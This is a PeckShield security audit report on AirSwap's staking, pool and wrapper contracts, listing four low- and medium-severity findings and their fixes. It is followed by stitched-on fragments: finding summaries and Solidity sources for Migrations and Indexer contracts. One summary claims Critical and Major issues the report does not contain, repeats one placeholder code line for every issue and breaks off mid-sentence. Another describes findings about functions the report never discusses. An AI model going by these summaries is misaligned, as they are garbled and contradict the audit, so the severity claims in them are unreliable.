Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() implementation (but the IERC20interface expects a return value)! 168 /** 169 * @notice Unstake tokens 170 * @param amount uint256 171 */ 172 function unstake ( uint256 amount ) external override { 173 address account ; 174 delegateAccounts [ msg . sender ] != address (0) 175 ? account = delegateAccounts [ msg . sender ] 176 : account = msg . sender ; 177 _unstake ( account , amount ); 178 token . transfer ( account , amount ); 179 emit Transfer ( account , address (0) , amount ); 180 } Listing 3.6: Staking::unstake() Note this issue is also applicable to other routines in Swapand Poolcontracts. For the safeApprove ()support, there is a need to approve twice: the first time resets the allowance to zero and the second time approves the intended amount. Recommendation Accommodate the above-mentioned idiosyncrasy about ERC20-related 15/20 PeckShield Audit Report #: 2022-038Public approve()/transfer()/transferFrom() . Status This issue has been fixed in the following PRs: 781and 782. 3.4 Trust Issue of Admin Keys •ID: PVE-004 •Severity: Medium •Likelihood: Medium •Impact: Medium•Target: Multiple Contracts •Category: Security Features [5] •CWE subcategory: CWE-287 [2] Description In the AirSwapprotocol, there is a privileged owneraccount that plays a critical role in governing and regulating the system-wide operations (e.g., parameter setting and payee adjustment). It also has the privilege to regulate or govern the flow of assets within the protocol. With great privilege comes great responsibility. Our analysis shows that the owneraccount is indeed privileged. In the following, we show representative privileged operations in the Poolprotocol. 164 /** 165 * @notice Set staking token address 166 * @dev Only owner 167 * @param _stakingToken address 168 */ 169 function setStakingToken ( address _stakingToken ) external o v e r r i d e onlyOwner { 170 require ( _stakingToken != address (0) , " INVALID_ADDRESS " ) ; 171 stakingToken = _stakingToken ; 172 IERC20 ( stakingToken ) . approve ( s t a k i n g C o n t r a c t , 2 ∗∗256 −1) ; 173 } 175 /** 176 * @notice Admin function to migrate funds 177 * @dev Only owner 178 * @param tokens address [] 179 * @param dest address 180 */ 181 function drainTo ( address [ ] c a l l d a t a tokens , address d e s t ) 182 external 183 o v e r r i d e 184 onlyOwner 185 { 186 for (uint256 i = 0 ; i < tokens . length ; i ++) { 187 uint256 b a l = IERC20 ( tokens [ i ] ) . balanceOf ( address (t h i s ) ) ; 188 IERC20 ( tokens [ i ] ) . s a f e T r a n s f e r ( dest , b a l ) ; 189 } 190 emit DrainTo ( tokens , d e s t ) ; 16/20 PeckShield Audit Report #: 2022-038Public 191 } Listing 3.7: Various Privileged Operations in Pool We emphasize that the privilege assignment with various protocol contracts is necessary and required for proper protocol operations. However, it is worrisome if the owneris not governed by a DAO-like structure. We point out that a compromised owneraccount would allow the attacker to invoke the above drainToto steal funds in current protocol, which directly undermines the assumption of the AirSwap protocol. Recommendation Promptly transfer the privileged account to the intended DAO-like governance contract. All changed to privileged operations may need to be mediated with necessary timelocks. Eventually, activate the normal on-chain community-based governance life-cycle and ensure the in- tended trustless nature and high-quality distributed governance. Status This issue has been confirmed and partially mitigated with a multi-sig account to regulate the governance privileges. The multi-sig account is a standard Gnosis Safe wallet, which is controlled by multiple participants, who agree to propose and submit transactions as they relate to the DAO’s proposal submission and voting mechanism. This avoids risk of any single compromised EOA as it would require collusion of multiple participants. 17/20 PeckShield Audit Report #: 2022-038Public 4 | Conclusion In this audit, we have analyzed the design and implementation of the AirSwapprotocol, which curates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. The current code base is well structured and neatly organized. Those identified issues are promptly confirmed and addressed. Meanwhile, we need to emphasize that Solidity-based smart contracts as a whole are still in an early, but exciting stage of development. To improve this report, we greatly appreciate any constructive feedbacks or suggestions, on our methodology, audit findings, or potential gaps in scope/coverage. 18/20 PeckShield Audit Report #: 2022-038Public References [1] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html. [2] MITRE. CWE-287: ImproperAuthentication. https://cwe.mitre.org/data/definitions/287.html. [3] MITRE. CWE-563: Assignment to Variable without Use. https://cwe.mitre.org/data/ definitions/563.html. [4] MITRE. CWE-841: Improper Enforcement of Behavioral Workflow. https://cwe.mitre.org/ data/definitions/841.html. [5] MITRE. CWE CATEGORY: 7PK - Security Features. https://cwe.mitre.org/data/definitions/ 254.html. [6] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html. [7] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html. [8] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html. [9] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology. 19/20 PeckShield Audit Report #: 2022-038Public [10] PeckShield. PeckShield Inc. https://www.peckshield.com. 20/20 PeckShield Audit Report #: 2022-038
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/index/contracts/Index.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; import "@airswap/delegate-factory/contracts/DelegateFactory.sol"; import "@airswap/swap/contracts/Swap.sol"; import "@airswap/types/contracts/Types.sol"; contract Imports {}/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "@airswap/indexer/contracts/interfaces/IIndexer.sol"; import "@airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol"; import "@airswap/index/contracts/Index.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title Indexer: A Collection of Index contracts by Token Pair */ contract Indexer is IIndexer, Ownable { // Token to be used for staking (ERC-20) IERC20 public stakingToken; // Mapping of signer token to sender token to index mapping (address => mapping (address => Index)) public indexes; // Mapping of token address to boolean mapping (address => bool) public tokenBlacklist; // The whitelist contract for checking whether a peer is whitelisted address public locatorWhitelist; // Boolean marking when the contract is paused - users cannot call functions when true bool public contractPaused; /** * @notice Contract Constructor * @param indexerStakingToken address */ constructor( address indexerStakingToken ) public { stakingToken = IERC20(indexerStakingToken); } /** * @notice Modifier to prevent function calling unless the contract is not paused */ modifier notPaused() { require(!contractPaused, "CONTRACT_IS_PAUSED"); _; } /** * @notice Modifier to prevent function calling unless the contract is paused */ modifier paused() { require(contractPaused, "CONTRACT_NOT_PAUSED"); _; } /** * @notice Modifier to check an index exists */ modifier indexExists(address signerToken, address senderToken) { require(indexes[signerToken][senderToken] != Index(0), "INDEX_DOES_NOT_EXIST"); _; } /** * @notice Set the address of an ILocatorWhitelist to use * @dev Allows removal of locatorWhitelist by passing 0x0 * @param newLocatorWhitelist address Locator whitelist */ function setLocatorWhitelist( address newLocatorWhitelist ) external onlyOwner { locatorWhitelist = newLocatorWhitelist; } /** * @notice Create an Index (List of Locators for a Token Pair) * @dev Deploys a new Index contract and stores the address. If the Index already * @dev exists, returns its address, and does not emit a CreateIndex event * @param signerToken address Signer token for the Index * @param senderToken address Sender token for the Index */ function createIndex( address signerToken, address senderToken ) external notPaused returns (address) { // If the Index does not exist, create it. if (indexes[signerToken][senderToken] == Index(0)) { // Create a new Index contract for the token pair. indexes[signerToken][senderToken] = new Index(); emit CreateIndex(signerToken, senderToken); } // Return the address of the Index contract. return address(indexes[signerToken][senderToken]); } /** * @notice Add a Token to the Blacklist * @param token address Token to blacklist */ function addTokenToBlacklist( address token ) external onlyOwner { if (!tokenBlacklist[token]) { tokenBlacklist[token] = true; emit AddTokenToBlacklist(token); } } /** * @notice Remove a Token from the Blacklist * @param token address Token to remove from the blacklist */ function removeTokenFromBlacklist( address token ) external onlyOwner { if (tokenBlacklist[token]) { tokenBlacklist[token] = false; emit RemoveTokenFromBlacklist(token); } } /** * @notice Set an Intent to Trade * @dev Requires approval to transfer staking token for sender * * @param signerToken address Signer token of the Index being staked * @param senderToken address Sender token of the Index being staked * @param stakingAmount uint256 Amount being staked * @param locator bytes32 Locator of the staker */ function setIntent( address signerToken, address senderToken, uint256 stakingAmount, bytes32 locator ) external notPaused indexExists(signerToken, senderToken) { // If whitelist set, ensure the locator is valid. if (locatorWhitelist != address(0)) { require(ILocatorWhitelist(locatorWhitelist).has(locator), "LOCATOR_NOT_WHITELISTED"); } // Ensure neither of the tokens are blacklisted. require(!tokenBlacklist[signerToken] && !tokenBlacklist[senderToken], "PAIR_IS_BLACKLISTED"); bool notPreviouslySet = (indexes[signerToken][senderToken].getLocator(msg.sender) == bytes32(0)); if (notPreviouslySet) { // Only transfer for staking if stakingAmount is set. if (stakingAmount > 0) { // Transfer the stakingAmount for staking. require(stakingToken.transferFrom(msg.sender, address(this), stakingAmount), "UNABLE_TO_STAKE"); } // Set the locator on the index. indexes[signerToken][senderToken].setLocator(msg.sender, stakingAmount, locator); emit Stake(msg.sender, signerToken, senderToken, stakingAmount); } else { uint256 oldStake = indexes[signerToken][senderToken].getScore(msg.sender); _updateIntent(msg.sender, signerToken, senderToken, stakingAmount, locator, oldStake); } } /** * @notice Unset an Intent to Trade * @dev Users are allowed to unstake from blacklisted indexes * * @param signerToken address Signer token of the Index being unstaked * @param senderToken address Sender token of the Index being staked */ function unsetIntent( address signerToken, address senderToken ) external notPaused { _unsetIntent(msg.sender, signerToken, senderToken); } /** * @notice Unset Intent for a User * @dev Only callable by owner * @dev This can be used when contractPaused to return staked tokens to users * * @param user address * @param signerToken address Signer token of the Index being unstaked * @param senderToken address Signer token of the Index being unstaked */ function unsetIntentForUser( address user, address signerToken, address senderToken ) external onlyOwner { _unsetIntent(user, signerToken, senderToken); } /** * @notice Set whether the contract is paused * @dev Only callable by owner * * @param newStatus bool New status of contractPaused */ function setPausedStatus(bool newStatus) external onlyOwner { contractPaused = newStatus; } /** * @notice Destroy the Contract * @dev Only callable by owner and when contractPaused * * @param recipient address Recipient of any money in the contract */ function killContract(address payable recipient) external onlyOwner paused { selfdestruct(recipient); } /** * @notice Get the locators of those trading a token pair * @dev Users are allowed to unstake from blacklisted indexes * * @param signerToken address Signer token of the trading pair * @param senderToken address Sender token of the trading pair * @param cursor address Address to start from * @param limit uint256 Total number of locators to return * @return bytes32[] List of locators * @return uint256[] List of scores corresponding to locators * @return address The next cursor to provide for pagination */ function getLocators( address signerToken, address senderToken, address cursor, uint256 limit ) external view returns ( bytes32[] memory locators, uint256[] memory scores, address nextCursor ) { // Ensure neither token is blacklisted. if (tokenBlacklist[signerToken] || tokenBlacklist[senderToken]) { return (new bytes32[](0), new uint256[](0), address(0)); } // Ensure the index exists. if (indexes[signerToken][senderToken] == Index(0)) { return (new bytes32[](0), new uint256[](0), address(0)); } return indexes[signerToken][senderToken].getLocators(cursor, limit); } /** * @notice Gets the Stake Amount for a User * @param user address User who staked * @param signerToken address Signer token the user staked on * @param senderToken address Sender token the user staked on * @return uint256 Amount the user staked */ function getStakedAmount( address user, address signerToken, address senderToken ) public view returns (uint256 stakedAmount) { if (indexes[signerToken][senderToken] == Index(0)) { return 0; } // Return the score, equivalent to the stake amount. return indexes[signerToken][senderToken].getScore(user); } function _updateIntent( address user, address signerToken, address senderToken, uint256 newAmount, bytes32 newLocator, uint256 oldAmount ) internal { // If the new stake is bigger, collect the difference. if (oldAmount < newAmount) { // Note: SafeMath not required due to the inequality check above require(stakingToken.transferFrom(user, address(this), newAmount - oldAmount), "UNABLE_TO_STAKE"); } // If the old stake is bigger, return the excess. if (newAmount < oldAmount) { // Note: SafeMath not required due to the inequality check above require(stakingToken.transfer(user, oldAmount - newAmount)); } // Unset their old intent, and set their new intent. indexes[signerToken][senderToken].unsetLocator(user); indexes[signerToken][senderToken].setLocator(user, newAmount, newLocator); emit Stake(user, signerToken, senderToken, newAmount); } /** * @notice Unset intents and return staked tokens * @param user address Address of the user who staked * @param signerToken address Signer token of the trading pair * @param senderToken address Sender token of the trading pair */ function _unsetIntent( address user, address signerToken, address senderToken ) internal indexExists(signerToken, senderToken) { // Get the score for the user. uint256 score = indexes[signerToken][senderToken].getScore(user); // Unset the locator on the index. indexes[signerToken][senderToken].unsetLocator(user); if (score > 0) { // Return the staked tokens. Reverts on failure. require(stakingToken.transfer(user, score)); } emit Unstake(user, signerToken, senderToken, score); } }
